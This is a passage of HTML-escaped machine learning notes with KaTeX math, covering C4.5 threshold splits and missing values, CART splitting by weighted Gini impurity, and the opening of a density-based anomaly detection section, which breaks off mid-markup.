&lt;li&gt;&lt;strong&gt;Continuous attributes.&lt;/strong&gt; ID3 handles discrete attributes. C4.5 can also split a continuous attribute by finding a threshold. Sort the distinct observed values. With &lt;span class=&#34;katex&#34;&gt;&lt;span class=&#34;katex-mathml&#34;&gt;&lt;math xmlns=&#34;http://www.w3.org/1998/Math/MathML&#34;&gt;&lt;semantics&gt;&lt;mrow&gt;&lt;mi&gt;m&lt;/mi&gt;&lt;/mrow&gt;&lt;annotation encoding=&#34;application/x-tex&#34;&gt;m&lt;/annotation&gt;&lt;/semantics&gt;&lt;/math&gt;&lt;/span&gt;&lt;span class=&#34;katex-html&#34; aria-hidden=&#34;true&#34;&gt;&lt;span class=&#34;base&#34;&gt;&lt;span class=&#34;strut&#34; style=&#34;height:0.4306em;&#34;&gt;&lt;/span&gt;&lt;span class=&#34;mord mathnormal&#34;&gt;m&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt; values, there are &lt;span class=&#34;katex&#34;&gt;&lt;span class=&#34;katex-mathml&#34;&gt;&lt;math xmlns=&#34;http://www.w3.org/1998/Math/MathML&#34;&gt;&lt;semantics&gt;&lt;mrow&gt;&lt;mi&gt;m&lt;/mi&gt;&lt;mo&gt;−&lt;/mo&gt;&lt;mn&gt;1&lt;/mn&gt;&lt;/mrow&gt;&lt;annotation encoding=&#34;application/x-tex&#34;&gt;m-1&lt;/annotation&gt;&lt;/semantics&gt;&lt;/math&gt;&lt;/span&gt;&lt;span class=&#34;katex-html&#34; aria-hidden=&#34;true&#34;&gt;&lt;span class=&#34;base&#34;&gt;&lt;span class=&#34;strut&#34; style=&#34;height:0.6667em;vertical-align:-0.0833em;&#34;&gt;&lt;/span&gt;&lt;span class=&#34;mord mathnormal&#34;&gt;m&lt;/span&gt;&lt;span class=&#34;mspace&#34; style=&#34;margin-right:0.2222em;&#34;&gt;&lt;/span&gt;&lt;span class=&#34;mbin&#34;&gt;−&lt;/span&gt;&lt;span class=&#34;mspace&#34; style=&#34;margin-right:0.2222em;&#34;&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;base&#34;&gt;&lt;span class=&#34;strut&#34; style=&#34;height:0.6444em;&#34;&gt;&lt;/span&gt;&lt;span class=&#34;mord&#34;&gt;1&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt; midpoints between neighbours. Evaluate the information gain for each binary test (above the midpoint versus at or below it) and choose the best threshold.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Missing values.&lt;/strong&gt; Calculate gain among observations with known values and scale it by the proportion of observations with known values. If this attribute is used, distribute the weight of a sample with a missing value across children in proportion to the known samples in those branches.&lt;/li&gt;
&lt;/ul&gt;
&lt;blockquote&gt;
&lt;h2 id=&#34;cart&#34;&gt;&lt;a class=&#34;anchor&#34; href=&#34;#cart&#34;&gt;#&lt;/a&gt; CART&lt;/h2&gt;
&lt;/blockquote&gt;
&lt;p&gt;CART builds binary trees for classification or regression. In the categorical classification example here, test whether attribute &lt;span class=&#34;katex&#34;&gt;&lt;span class=&#34;katex-mathml&#34;&gt;&lt;math xmlns=&#34;http://www.w3.org/1998/Math/MathML&#34;&gt;&lt;semantics&gt;&lt;mrow&gt;&lt;mi&gt;A&lt;/mi&gt;&lt;/mrow&gt;&lt;annotation encoding=&#34;application/x-tex&#34;&gt;A&lt;/annotation&gt;&lt;/semantics&gt;&lt;/math&gt;&lt;/span&gt;&lt;span class=&#34;katex-html&#34; aria-hidden=&#34;true&#34;&gt;&lt;span class=&#34;base&#34;&gt;&lt;span class=&#34;strut&#34; style=&#34;height:0.6833em;&#34;&gt;&lt;/span&gt;&lt;span class=&#34;mord mathnormal&#34;&gt;A&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt; equals value &lt;span class=&#34;katex&#34;&gt;&lt;span class=&#34;katex-mathml&#34;&gt;&lt;math xmlns=&#34;http://www.w3.org/1998/Math/MathML&#34;&gt;&lt;semantics&gt;&lt;mrow&gt;&lt;mi&gt;a&lt;/mi&gt;&lt;/mrow&gt;&lt;annotation encoding=&#34;application/x-tex&#34;&gt;a&lt;/annotation&gt;&lt;/semantics&gt;&lt;/math&gt;&lt;/span&gt;&lt;span class=&#34;katex-html&#34; aria-hidden=&#34;true&#34;&gt;&lt;span class=&#34;base&#34;&gt;&lt;span class=&#34;strut&#34; style=&#34;height:0.4306em;&#34;&gt;&lt;/span&gt;&lt;span class=&#34;mord mathnormal&#34;&gt;a&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;. The test divides &lt;span class=&#34;katex&#34;&gt;&lt;span class=&#34;katex-mathml&#34;&gt;&lt;math xmlns=&#34;http://www.w3.org/1998/Math/MathML&#34;&gt;&lt;semantics&gt;&lt;mrow&gt;&lt;mi&gt;D&lt;/mi&gt;&lt;/mrow&gt;&lt;annotation encoding=&#34;application/x-tex&#34;&gt;D&lt;/annotation&gt;&lt;/semantics&gt;&lt;/math&gt;&lt;/span&gt;&lt;span class=&#34;katex-html&#34; aria-hidden=&#34;true&#34;&gt;&lt;span class=&#34;base&#34;&gt;&lt;span class=&#34;strut&#34; style=&#34;height:0.6833em;&#34;&gt;&lt;/span&gt;&lt;span class=&#34;mord mathnormal&#34; style=&#34;margin-right:0.0278em;&#34;&gt;D&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt; into &lt;span class=&#34;katex&#34;&gt;&lt;span class=&#34;katex-mathml&#34;&gt;&lt;math xmlns=&#34;http://www.w3.org/1998/Math/MathML&#34;&gt;&lt;semantics&gt;&lt;mrow&gt;&lt;msub&gt;&lt;mi&gt;D&lt;/mi&gt;&lt;mn&gt;1&lt;/mn&gt;&lt;/msub&gt;&lt;/mrow&gt;&lt;annotation encoding=&#34;application/x-tex&#34;&gt;D_1&lt;/annotation&gt;&lt;/semantics&gt;&lt;/math&gt;&lt;/span&gt;&lt;span class=&#34;katex-html&#34; aria-hidden=&#34;true&#34;&gt;&lt;span class=&#34;base&#34;&gt;&lt;span class=&#34;strut&#34; style=&#34;height:0.8333em;vertical-align:-0.15em;&#34;&gt;&lt;/span&gt;&lt;span class=&#34;mord&#34;&gt;&lt;span class=&#34;mord mathnormal&#34; style=&#34;margin-right:0.0278em;&#34;&gt;D&lt;/span&gt;&lt;span class=&#34;msupsub&#34;&gt;&lt;span class=&#34;vlist-t vlist-t2&#34;&gt;&lt;span class=&#34;vlist-r&#34;&gt;&lt;span class=&#34;vlist&#34; style=&#34;height:0.3011em;&#34;&gt;&lt;span style=&#34;top:-2.55em;margin-left:-0.0278em;margin-right:0.05em;&#34;&gt;&lt;span class=&#34;pstrut&#34; style=&#34;height:2.7em;&#34;&gt;&lt;/span&gt;&lt;span class=&#34;sizing reset-size6 size3 mtight&#34;&gt;&lt;span class=&#34;mord mtight&#34;&gt;1&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;vlist-s&#34;&gt;​&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;vlist-r&#34;&gt;&lt;span class=&#34;vlist&#34; style=&#34;height:0.15em;&#34;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt; and &lt;span class=&#34;katex&#34;&gt;&lt;span class=&#34;katex-mathml&#34;&gt;&lt;math xmlns=&#34;http://www.w3.org/1998/Math/MathML&#34;&gt;&lt;semantics&gt;&lt;mrow&gt;&lt;msub&gt;&lt;mi&gt;D&lt;/mi&gt;&lt;mn&gt;2&lt;/mn&gt;&lt;/msub&gt;&lt;/mrow&gt;&lt;annotation encoding=&#34;application/x-tex&#34;&gt;D_2&lt;/annotation&gt;&lt;/semantics&gt;&lt;/math&gt;&lt;/span&gt;&lt;span class=&#34;katex-html&#34; aria-hidden=&#34;true&#34;&gt;&lt;span class=&#34;base&#34;&gt;&lt;span class=&#34;strut&#34; style=&#34;height:0.8333em;vertical-align:-0.15em;&#34;&gt;&lt;/span&gt;&lt;span class=&#34;mord&#34;&gt;&lt;span class=&#34;mord mathnormal&#34; style=&#34;margin-right:0.0278em;&#34;&gt;D&lt;/span&gt;&lt;span class=&#34;msupsub&#34;&gt;&lt;span class=&#34;vlist-t vlist-t2&#34;&gt;&lt;span class=&#34;vlist-r&#34;&gt;&lt;span class=&#34;vlist&#34; style=&#34;height:0.3011em;&#34;&gt;&lt;span style=&#34;top:-2.55em;margin-left:-0.0278em;margin-right:0.05em;&#34;&gt;&lt;span class=&#34;pstrut&#34; style=&#34;height:2.7em;&#34;&gt;&lt;/span&gt;&lt;span class=&#34;sizing reset-size6 size3 mtight&#34;&gt;&lt;span class=&#34;mord mtight&#34;&gt;2&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;vlist-s&#34;&gt;​&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;vlist-r&#34;&gt;&lt;span class=&#34;vlist&#34; style=&#34;height:0.15em;&#34;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;: samples with that value and all remaining samples. For each candidate split, weight each child’s Gini impurity by its share of the samples: &lt;span class=&#34;katex&#34;&gt;&lt;span class=&#34;katex-mathml&#34;&gt;&lt;math xmlns=&#34;http://www.w3.org/1998/Math/MathML&#34;&gt;&lt;semantics&gt;&lt;mrow&gt;&lt;mfrac&gt;&lt;mrow&gt;&lt;mi mathvariant=&#34;normal&#34;&gt;∣&lt;/mi&gt;&lt;msub&gt;&lt;mi&gt;D&lt;/mi&gt;&lt;mn&gt;1&lt;/mn&gt;&lt;/msub&gt;&lt;mi mathvariant=&#34;normal&#34;&gt;∣&lt;/mi&gt;&lt;/mrow&gt;&lt;mrow&gt;&lt;mi mathvariant=&#34;normal&#34;&gt;∣&lt;/mi&gt;&lt;mi&gt;D&lt;/mi&gt;&lt;mi mathvariant=&#34;normal&#34;&gt;∣&lt;/mi&gt;&lt;/mrow&gt;&lt;/mfrac&gt;&lt;mi&gt;G&lt;/mi&gt;&lt;mi&gt;i&lt;/mi&gt;&lt;mi&gt;n&lt;/mi&gt;&lt;mi&gt;i&lt;/mi&gt;&lt;mo stretchy=&#34;false&#34;&gt;(&lt;/mo&gt;&lt;msub&gt;&lt;mi&gt;D&lt;/mi&gt;&lt;mn&gt;1&lt;/mn&gt;&lt;/msub&gt;&lt;mo stretchy=&#34;false&#34;&gt;)&lt;/mo&gt;&lt;mo&gt;+&lt;/mo&gt;&lt;mfrac&gt;&lt;mrow&gt;&lt;mi mathvariant=&#34;normal&#34;&gt;∣&lt;/mi&gt;&lt;msub&gt;&lt;mi&gt;D&lt;/mi&gt;&lt;mn&gt;2&lt;/mn&gt;&lt;/msub&gt;&lt;mi mathvariant=&#34;normal&#34;&gt;∣&lt;/mi&gt;&lt;/mrow&gt;&lt;mrow&gt;&lt;mi mathvariant=&#34;normal&#34;&gt;∣&lt;/mi&gt;&lt;mi&gt;D&lt;/mi&gt;&lt;mi mathvariant=&#34;normal&#34;&gt;∣&lt;/mi&gt;&lt;/mrow&gt;&lt;/mfrac&gt;&lt;mi&gt;G&lt;/mi&gt;&lt;mi&gt;i&lt;/mi&gt;&lt;mi&gt;n&lt;/mi&gt;&lt;mi&gt;i&lt;/mi&gt;&lt;mo stretchy=&#34;false&#34;&gt;(&lt;/mo&gt;&lt;msub&gt;&lt;mi&gt;D&lt;/mi&gt;&lt;mn&gt;2&lt;/mn&gt;&lt;/msub&gt;&lt;mo stretchy=&#34;false&#34;&gt;)&lt;/mo&gt;&lt;/mrow&gt;&lt;annotation encoding=&#34;application/x-tex&#34;&gt;\frac{|D_1|}{|D|}Gini(D_1)+\frac{|D_2|}{|D|}Gini(D_2)&lt;/annotation&gt;&lt;/semantics&gt;&lt;/math&gt;&lt;/span&gt;&lt;span class=&#34;katex-html&#34; aria-hidden=&#34;true&#34;&gt;&lt;span class=&#34;base&#34;&gt;&lt;span class=&#34;strut&#34; style=&#34;height:1.53em;vertical-align:-0.52em;&#34;&gt;&lt;/span&gt;&lt;span class=&#34;mord&#34;&gt;&lt;span class=&#34;mopen nulldelimiter&#34;&gt;&lt;/span&gt;&lt;span class=&#34;mfrac&#34;&gt;&lt;span class=&#34;vlist-t vlist-t2&#34;&gt;&lt;span class=&#34;vlist-r&#34;&gt;&lt;span class=&#34;vlist&#34; style=&#34;height:1.01em;&#34;&gt;&lt;span style=&#34;top:-2.655em;&#34;&gt;&lt;span class=&#34;pstrut&#34; style=&#34;height:3em;&#34;&gt;&lt;/span&gt;&lt;span class=&#34;sizing reset-size6 size3 mtight&#34;&gt;&lt;span class=&#34;mord mtight&#34;&gt;&lt;span class=&#34;mord mtight&#34;&gt;∣&lt;/span&gt;&lt;span class=&#34;mord mathnormal mtight&#34; style=&#34;margin-right:0.0278em;&#34;&gt;D&lt;/span&gt;&lt;span class=&#34;mord mtight&#34;&gt;∣&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;top:-3.23em;&#34;&gt;&lt;span class=&#34;pstrut&#34; style=&#34;height:3em;&#34;&gt;&lt;/span&gt;&lt;span class=&#34;frac-line&#34; style=&#34;border-bottom-width:0.04em;&#34;&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;top:-3.485em;&#34;&gt;&lt;span class=&#34;pstrut&#34; style=&#34;height:3em;&#34;&gt;&lt;/span&gt;&lt;span class=&#34;sizing reset-size6 size3 mtight&#34;&gt;&lt;span class=&#34;mord mtight&#34;&gt;&lt;span class=&#34;mord mtight&#34;&gt;∣&lt;/span&gt;&lt;span class=&#34;mord mtight&#34;&gt;&lt;span class=&#34;mord mathnormal mtight&#34; style=&#34;margin-right:0.0278em;&#34;&gt;D&lt;/span&gt;&lt;span class=&#34;msupsub&#34;&gt;&lt;span class=&#34;vlist-t vlist-t2&#34;&gt;&lt;span class=&#34;vlist-r&#34;&gt;&lt;span class=&#34;vlist&#34; style=&#34;height:0.3173em;&#34;&gt;&lt;span style=&#34;top:-2.357em;margin-left:-0.0278em;margin-right:0.0714em;&#34;&gt;&lt;span class=&#34;pstrut&#34; style=&#34;height:2.5em;&#34;&gt;&lt;/span&gt;&lt;span class=&#34;sizing reset-size3 size1 mtight&#34;&gt;&lt;span class=&#34;mord mtight&#34;&gt;1&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;vlist-s&#34;&gt;​&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;vlist-r&#34;&gt;&lt;span class=&#34;vlist&#34; style=&#34;height:0.143em;&#34;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;mord mtight&#34;&gt;∣&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;vlist-s&#34;&gt;​&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;vlist-r&#34;&gt;&lt;span class=&#34;vlist&#34; style=&#34;height:0.52em;&#34;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;mclose nulldelimiter&#34;&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;mord mathnormal&#34;&gt;G&lt;/span&gt;&lt;span class=&#34;mord mathnormal&#34;&gt;ini&lt;/span&gt;&lt;span class=&#34;mopen&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;mord&#34;&gt;&lt;span class=&#34;mord mathnormal&#34; style=&#34;margin-right:0.0278em;&#34;&gt;D&lt;/span&gt;&lt;span class=&#34;msupsub&#34;&gt;&lt;span class=&#34;vlist-t vlist-t2&#34;&gt;&lt;span class=&#34;vlist-r&#34;&gt;&lt;span class=&#34;vlist&#34; style=&#34;height:0.3011em;&#34;&gt;&lt;span style=&#34;top:-2.55em;margin-left:-0.0278em;margin-right:0.05em;&#34;&gt;&lt;span class=&#34;pstrut&#34; style=&#34;height:2.7em;&#34;&gt;&lt;/span&gt;&lt;span class=&#34;sizing reset-size6 size3 mtight&#34;&gt;&lt;span class=&#34;mord mtight&#34;&gt;1&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;vlist-s&#34;&gt;​&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;vlist-r&#34;&gt;&lt;span class=&#34;vlist&#34; style=&#34;height:0.15em;&#34;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;mclose&#34;&gt;)&lt;/span&gt;&lt;span class=&#34;mspace&#34; style=&#34;margin-right:0.2222em;&#34;&gt;&lt;/span&gt;&lt;span class=&#34;mbin&#34;&gt;+&lt;/span&gt;&lt;span class=&#34;mspace&#34; style=&#34;margin-right:0.2222em;&#34;&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;base&#34;&gt;&lt;span class=&#34;strut&#34; style=&#34;height:1.53em;vertical-align:-0.52em;&#34;&gt;&lt;/span&gt;&lt;span class=&#34;mord&#34;&gt;&lt;span class=&#34;mopen nulldelimiter&#34;&gt;&lt;/span&gt;&lt;span class=&#34;mfrac&#34;&gt;&lt;span class=&#34;vlist-t vlist-t2&#34;&gt;&lt;span class=&#34;vlist-r&#34;&gt;&lt;span class=&#34;vlist&#34; style=&#34;height:1.01em;&#34;&gt;&lt;span style=&#34;top:-2.655em;&#34;&gt;&lt;span class=&#34;pstrut&#34; style=&#34;height:3em;&#34;&gt;&lt;/span&gt;&lt;span class=&#34;sizing reset-size6 size3 mtight&#34;&gt;&lt;span class=&#34;mord mtight&#34;&gt;&lt;span class=&#34;mord mtight&#34;&gt;∣&lt;/span&gt;&lt;span class=&#34;mord mathnormal mtight&#34; style=&#34;margin-right:0.0278em;&#34;&gt;D&lt;/span&gt;&lt;span class=&#34;mord mtight&#34;&gt;∣&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;top:-3.23em;&#34;&gt;&lt;span class=&#34;pstrut&#34; style=&#34;height:3em;&#34;&gt;&lt;/span&gt;&lt;span class=&#34;frac-line&#34; style=&#34;border-bottom-width:0.04em;&#34;&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;top:-3.485em;&#34;&gt;&lt;span class=&#34;pstrut&#34; style=&#34;height:3em;&#34;&gt;&lt;/span&gt;&lt;span class=&#34;sizing reset-size6 size3 mtight&#34;&gt;&lt;span class=&#34;mord mtight&#34;&gt;&lt;span class=&#34;mord mtight&#34;&gt;∣&lt;/span&gt;&lt;span class=&#34;mord mtight&#34;&gt;&lt;span class=&#34;mord mathnormal mtight&#34; style=&#34;margin-right:0.0278em;&#34;&gt;D&lt;/span&gt;&lt;span class=&#34;msupsub&#34;&gt;&lt;span class=&#34;vlist-t vlist-t2&#34;&gt;&lt;span class=&#34;vlist-r&#34;&gt;&lt;span class=&#34;vlist&#34; style=&#34;height:0.3173em;&#34;&gt;&lt;span style=&#34;top:-2.357em;margin-left:-0.0278em;margin-right:0.0714em;&#34;&gt;&lt;span class=&#34;pstrut&#34; style=&#34;height:2.5em;&#34;&gt;&lt;/span&gt;&lt;span class=&#34;sizing reset-size3 size1 mtight&#34;&gt;&lt;span class=&#34;mord mtight&#34;&gt;2&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;vlist-s&#34;&gt;​&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;vlist-r&#34;&gt;&lt;span class=&#34;vlist&#34; style=&#34;height:0.143em;&#34;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;mord mtight&#34;&gt;∣&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;vlist-s&#34;&gt;​&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;vlist-r&#34;&gt;&lt;span class=&#34;vlist&#34; style=&#34;height:0.52em;&#34;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;mclose nulldelimiter&#34;&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;mord mathnormal&#34;&gt;G&lt;/span&gt;&lt;span class=&#34;mord mathnormal&#34;&gt;ini&lt;/span&gt;&lt;span class=&#34;mopen&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;mord&#34;&gt;&lt;span class=&#34;mord mathnormal&#34; style=&#34;margin-right:0.0278em;&#34;&gt;D&lt;/span&gt;&lt;span class=&#34;msupsub&#34;&gt;&lt;span class=&#34;vlist-t vlist-t2&#34;&gt;&lt;span class=&#34;vlist-r&#34;&gt;&lt;span class=&#34;vlist&#34; style=&#34;height:0.3011em;&#34;&gt;&lt;span style=&#34;top:-2.55em;margin-left:-0.0278em;margin-right:0.05em;&#34;&gt;&lt;span class=&#34;pstrut&#34; style=&#34;height:2.7em;&#34;&gt;&lt;/span&gt;&lt;span class=&#34;sizing reset-size6 size3 mtight&#34;&gt;&lt;span class=&#34;mord mtight&#34;&gt;2&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;vlist-s&#34;&gt;​&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;vlist-r&#34;&gt;&lt;span class=&#34;vlist&#34; style=&#34;height:0.15em;&#34;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;mclose&#34;&gt;)&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;. Choose the split with the lowest weighted impurity. Every internal node has exactly two children.&lt;/p&gt;
&lt;span id=&#34;异常检测&#34; aria-hidden=&#34;true&#34;&gt;&lt;/span&gt;&lt;h1 id=&#34;anomaly-detection&#34; data-section=&#34;异常检测&#34;&gt;&lt;a class=&#34;anchor&#34; href=&#34;#anomaly-detection&#34;&gt;#&lt;/a&gt; Anomaly detection&lt;/h1&gt;
&lt;p&gt;Anomaly detection looks for observations that don’t fit the expected pattern. One approach flags points with a low estimated probability density.&lt;/p&gt;
&lt;p&gt;For a continuous variable, &lt;span class=&#34;katex&#34;&gt;&lt;span class=&#34;katex-mathml&#34;&gt;&lt;math xmlns=&#34;http://www.w3.org/1998/Math/MathML&#34;&gt;&lt;semantics&gt;&lt;mrow&gt;&lt;mi&gt;p&lt;/mi&gt;&lt;mo stretchy=&#34;false&#34;&gt;(&lt;/mo&gt;&lt;mi&gt;x&lt;/mi&gt;&lt;mo stretchy=&#34;false&#34;&gt;)&lt;/mo&gt;&lt;/mrow&gt;&lt;annotation encoding=&#34;application/x-tex&#34;&gt;p(x)&lt;/annotation&gt;&lt;/semantics&gt;&lt;/math&gt;&lt;/span&gt;&lt;span class=&#34;katex-html&#34; aria-hidden=&#34;true&#34;&gt;&lt;span class=&#34;base&#34;&gt;&lt;span class=&#34;strut&#34; style=&#34;height:1em;vertical-align:-0.25em;&#34;&gt;&lt;/span&gt;&lt;span class=&#34;mord mathnormal&#34;&gt;p&lt;/span&gt;&lt;span class=&#34;mopen&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;mord mathnormal&#34;&gt;x&lt;/span&gt;&lt;span class=&#34;mclose&#34;&gt;)&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt; describes density near &lt;span class=&#34;katex&#34;&gt;&lt;span class=&#34;katex-mathml&#34;&gt;&lt;math xmlns=&#34;http://www.w3.org/1998/Math/MathML&#34;&gt;&lt;semantics&gt;&lt;mrow&gt;&lt;mi&gt;x&lt;/mi&gt;&lt;/mrow&gt;&lt;annotation encoding=&#34;application/x-tex&#34;&gt;x&lt;/annotation&gt;&lt;/semantics&gt;&lt;/math&gt;&lt;/span&gt;&lt;span class=&#34;katex-html&#34; aria-hidden=&#34;true&#34;&gt;&lt;span class=&#34;base&#34;&gt;&lt;span class=&#34;strut&#34; style=&#34;height:0.4306em;&#34;&gt;&lt;/span&gt;&lt;span class=&#34;mord mathnormal&#34;&gt;x&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;. The probability over an interval is &lt;span class=&#34;katex&#34;&gt;&lt;span class=&#34;katex-mathml&#34;&gt;&lt;math xmlns=&#34;http://www.w3.org/1998/Math/MathML&#34;&gt;&lt;semantics&gt;&lt;mrow&gt;&lt;msubsup&gt;&lt;mo&gt;∫&lt;/mo&gt;&lt;msub&gt;&lt;mi&gt;x&lt;/mi&gt;&lt;mn&gt;1&lt;/mn&gt;&lt;/msub&gt;&lt;msub&gt;&lt;mi&gt;x&lt;/mi&gt;&lt;mn&gt;2&lt;/mn&gt;&lt;/msub&gt;&lt;/msubsup&gt;&lt;mi&gt;p&lt;/mi&gt;&lt;mo stretchy=&#34;false&#34;&gt;(&lt;/mo&gt;&lt;mi&gt;x&lt;/mi&gt;&lt;mo stretchy=&#34;false&#34;&gt;)&lt;/mo&gt;&lt;mi&gt;d&lt;/mi&gt;&lt;mi&gt;x&lt;/mi&gt;&lt;/mrow&gt;&lt;annotation encoding=&#34;application/x-tex&#34;&gt;\int_{x_1}^{x_2}p(x)dx&lt;/annotation&gt;&lt;/semantics&gt;&lt;/math&gt;&lt;/span&gt;&lt;span class=&#34;katex-html&#34; aria-hidden=&#34;true&#34;&gt;&lt;span class=&#34;base&#34;&gt;&lt;span class=&#34;strut&#34; style=&#34;height:1.3152em;vertical-align:-0.4559em;&#34;&gt;&lt;/span&gt;&lt;span class=&#34;mop&#34;&gt;&lt;span class=&#34;mop op-symbol small-op&#34; style=&#34;margin-right:0.1945em;position:relative;top:-0.0006em;&#34;&gt;∫&lt;/span&gt;&lt;span class=&#34;msupsub&#34;&gt;&lt;span class=&#34;vlist-t vlist-t2&#34;&gt;&lt;span class=&#34;vlist-r&#34;&gt;&lt;span class=&#34;vlist&#34; style=&#34;height:0.8593em;&#34;&gt;&lt;span style=&#34;top:-2.3442em;margin-left:-0.1945em;margin-right:0.05em;&#34;&gt;&lt;span class=&#34;pstrut&#34; style=&#34;height:2.7em;&#34;&gt;&lt;/span&gt;&lt;span class=&#34;sizing reset-size6 size3 mtight&#34;&gt;&lt;span class=&#34;mord mtight&#34;&gt;&lt;span class=&#34;mord mtight&#34;&gt;&lt;span class=&#34;mord mathnormal mtight&#34;&gt;x&lt;/span&gt;&lt;span class=&#34;msupsub&#34;&gt;&lt;span class=&#34;vlist-t vlist-t2&#34;&gt;&lt;span class=&#34;vlist-r&#34;&gt;&lt;span class=&#34;vlist&#34; style=&#34;height:0.3173em;&#34;&gt;&lt;span style=&#34;top:-2.357em;margin-left:0em;margin-right:0.0714em;&#34;&gt;&lt;span class=&#34;pstrut&#34; style=&#34;height:2.5em;&#34;&gt;&lt;/span&gt;&lt;span class=&#34;sizing reset-size3 size1 mtight&#34;&gt;&lt;span class=&#34;mord mtight&#34;&gt;1&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;vlist-s&#34;&gt;​&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;vlist-r&#34;&gt;&lt;span class=&#34;vlist&#34; style=&#34;height:0.143em;&#34;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;top:-3.2579em;margin-right:0.05em;&#34;&gt;&lt;span class=&#34;pstrut&#34; style=&#34;height:2.7em;&#34;&gt;&lt;/span&gt;&lt;span class=&#34;sizing reset-size6 size3 mtight&#34;&gt;&lt;span class=&#34;mord mtight&#34;&gt;&lt;span class=&#34;mord mtight&#34;&gt;&lt;span class=&#34;mord mathnormal mtight&#34;&gt;x&lt;/span&gt;&lt;span class=&#34;msupsub&#34;&gt;&lt;span class=&#34;vlist-t vlist-t2&#34;&gt;&lt;span class=&#34;vlist-r&#34;&gt;&lt;span class=&#34;vlist&#34; style=&#34;height:0.3173em;&#34;&gt;&lt;span style=&#34;top:-2.357em;margin-left:0em;margin-right:0.0714em;&#34;&gt;&lt;span class=&#34;pstrut&#34; style=&#34;height:2.5em;&#34;&gt;&lt;/span&gt;&lt;span class=&#34;sizing reset-size3 size1 mtight&#34;&gt;&lt;span class=&#34;mord mtight&#34;&gt;2&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;vlist-s&#34;&gt;​&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;vlist-r&#34;&gt;&lt;span class=&#34;vlist&#34; style=&#34;height:0.143em;&#34;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;vlist-s&#34;&gt;​&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;vlist-r&#34;&gt;&lt;span class=&#34;vlist&#34; 